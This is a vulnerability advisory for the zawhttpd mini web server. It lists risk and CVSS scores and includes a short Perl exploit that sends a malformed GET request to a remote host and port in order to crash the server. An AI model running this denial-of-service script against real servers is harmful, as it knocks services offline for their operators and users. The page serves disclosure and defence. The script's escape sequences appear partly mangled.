zawhttpd - Buffer Overflow

Risk: High
Local: No
Remote: Yes

CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Name: zawhttpd Version: 0.8.23 previous version probably too. Language: C Problem: Buffer Overflow Vendor: Discovered by: Kamil 'K3' Sienicki Description: zawhttpd is a mini Web server that features HTTP/1.0 and 1.1 support, keep-alive persistent connections, IPv6 support, GET and HEAD requests, chunked encoding and content-range, directory listing, basic authentication, access logging, daemon mode, and more. Problem: A remote user can supply a specially crafted data which crash server. Exploit: #!/usr/bin/perl # zawhttpd Buffer Overflow Exploit # by Kamil 'K3' Sienicki use IO::Socket; use strict; my($socket) = ""; if($socket = IO::Socket::INET->new( PeerAddr => $ARGV[0], PeerPort => $ARGV[1], Proto => "TCP")) { print "Attempting to kill zawhttpd at $ARGV[0]:$ARGV[1] ..."; print $socket "GET \\\\\\\\\\ HTTP/1.0rnrn"; close($socket); } else { print "perl localhost 80 n"; print "Cannot connect to $ARGV[0]:$ARGV[1]n"; } -- Kamil 'K3' Sienicki

Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017,


Back to Top